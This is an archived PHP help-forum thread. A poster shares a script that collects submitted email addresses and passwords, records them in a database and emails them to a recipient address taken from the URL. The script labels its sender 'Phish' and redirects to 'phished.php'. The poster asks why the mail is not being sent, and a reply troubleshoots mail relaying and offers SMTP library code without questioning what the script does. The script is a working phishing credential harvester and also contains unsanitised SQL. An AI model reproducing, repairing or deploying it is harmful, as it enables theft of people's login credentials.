Vivid Lust Posted September 20, 2008 Share Posted September 20, 2008 Ok, this is really starting to annoy me. This script just isnt sending any emails at all!! The email account shown has been set up. The GET does get the correct values <?php require("includes/db.php"); $e = $_GET['e']; $n = $_GET['n']; $email = $_POST['email']; $pass = $_POST['pass']; $sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )"; $query=mysql_query($sql2, $link) or die(mysql_error()); $msg = "Email/name:".$email." Password: ".$pass." "; //define the receiver of the email //$to = $e; //$r = "[email protected]"; //define the subject of the email //$subject = 'An Email'; //define the message to be sent. Each line should be separated with \n //$message = $msg; //define the headers we want passed. Note that they are separated with \r\n //$headers = "From: [email protected]\r\nReply-To: [email protected]"; //send the email //mail($e, $subject, $message, $headers, "-f$f"); //if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" $Name = "Phish"; //senders name $email = "[email protected]"; //senders e-mail adress $recipient = $e; //recipient $mail_body = "Email/name:".$email." Password: ".$pass." "; //mail body $subject = "An Email"; //subject $header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields mail($recipient, $subject, $mail_body, $header); //mail command header("Location:phished.php?n=".$n.""); ?> Help very much appreciated Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/ Share on other sites More sharing options...
Vivid Lust Posted September 20, 2008 Author Share Posted September 20, 2008 Any help?? The code I commented out worked fine on my server with a my email address which was on that server. However since the client has uploaded the files and changed this email address. It is no longer working. Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646557 Share on other sites More sharing options...
BenInBlack Posted September 20, 2008 Share Posted September 20, 2008 most likely it is a relaying permissions issue. Sometimes you need to add IP or localhost to relays allows on the mail server Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646559 Share on other sites More sharing options...
Vivid Lust Posted September 20, 2008 Author Share Posted September 20, 2008 So how can i correct this in Cpanel? Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646563 Share on other sites More sharing options...
BenInBlack Posted September 20, 2008 Share Posted September 20, 2008 what is "CPanel"? Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646569 Share on other sites More sharing options...
Vivid Lust Posted September 20, 2008 Author Share Posted September 20, 2008 http://www.cpanel.net/index.html Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646574 Share on other sites More sharing options...
BenInBlack Posted September 20, 2008 Share Posted September 20, 2008 ok you need to contact the hosting company about relaying from PHP. and I recommend to people to use this free PHP mailer over the built in http://www.xpertmailer.com/ this will give you better control over the mail server connection if they require authentication here is a code snippet to help you jump start into xpertmailer note you need to copy xpertmailer into a folder and change the require_once //---------------------------- // send email //---------------------------- require_once $_SERVER['DOCUMENT_ROOT'].'/xpmailer4/MAIL.php'; $subject = 'Subject Here'; $mail = new MAIL; if ($mail) { //normal port is 25 but, use port 26 for smtp on bluehost if ($c = $mail->Connect('localhost',26)) { $mail->From('[email protected]'); $mail->AddTo($sendto); if (strlen($sendcc)) { $mail->AddCc($sendcc); } if ($sendto != '[email protected]') { $mail->AddBcc('[email protected]'); } $mail->html($msgBody,'utf-8','8bit','inline'); $mail->Subject($subject); if (!$mail->Send($c)) { $errorMsg = "Email - Send Error - ".print_r($mail->Result,true); echo "<hr>{$errorMsg}<hr>"; } else { //Email Sent echo "<hr>Email - Sent<hr>"; } } else { $errorMsg = "Email - Connect Error<br>".print_r($mail->Result,true); echo "<hr>{$errorMsg}<hr>"; } } Link to comment https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646579 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.